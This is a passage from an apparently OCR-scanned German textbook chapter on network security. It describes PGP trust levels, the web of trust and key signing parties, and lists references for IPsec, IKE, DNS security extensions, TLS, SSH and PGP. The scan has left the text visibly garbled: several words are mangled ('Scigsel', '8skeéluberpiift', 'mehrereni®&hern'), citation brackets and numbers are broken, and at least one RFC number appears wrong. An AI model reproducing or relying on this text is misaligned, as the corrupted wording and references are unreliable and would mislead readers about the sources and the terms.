schrieben worden sein, wobei man den einzelnen Unterschriften verschiedene Ver-
trauensstufen zuweisen kann. Es werden vier Vertrauensstufen unterschieden:

1. Unbekannt (undefined trust)
2. Kein Vertrauen (usually not trusted)
3. Normales Vertrauen (usually trusted)
4. \olles Vertrauen (always trusted)
e Die Verteilung der Zertifikate wird durch das sogenannte Netz des Vertrauens (web

of trust) realisiert. Dabei wird einem Scigsel Vertrauen geschenkt, wenn er von
geriigend Personen signiert wurde, denen man bereits vertraut.

e Das Netz des Vertrauens kommt ohne aufwendige Zertifizierungsinstanzen aus, be-
ruht aber allein auf der Sorgfalt der PGP Benutzer. Gelegentlich werden daher spezi-
elle Treffen veranstaltet, bei denen PGP 8skeéluberpiift und gegenseitig signiert
werden (key signing party).

Literaturhinweise

IPsec ist in einer ganzen Reihe von Dokumenten definiert. Als Einstieg empfiehlt sich RFC
2401 B2). IKE ist in RFC 2409 p6] definiert.

Die Sicherheitserweiterungen des DNS sind in RFC 2833} peschrieben. TLS ist in
RFC 2246 [L3] definiert. Eine Spezifikation von SSH in einem RFC ist in Vorbereitung.
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PGP ist in mehrereni®&hern ausihrlich dokumentiert§l, 62, 23, 57]. Eine erste Defini-
tion des PGP Nachrichtenformats ist in RFC 1921zl finden. Mittlerweile befindet sich
das PGP Nachrichtenformat in der Standardisierung innerhalb der IETF, siehe RFC 2440

[9].
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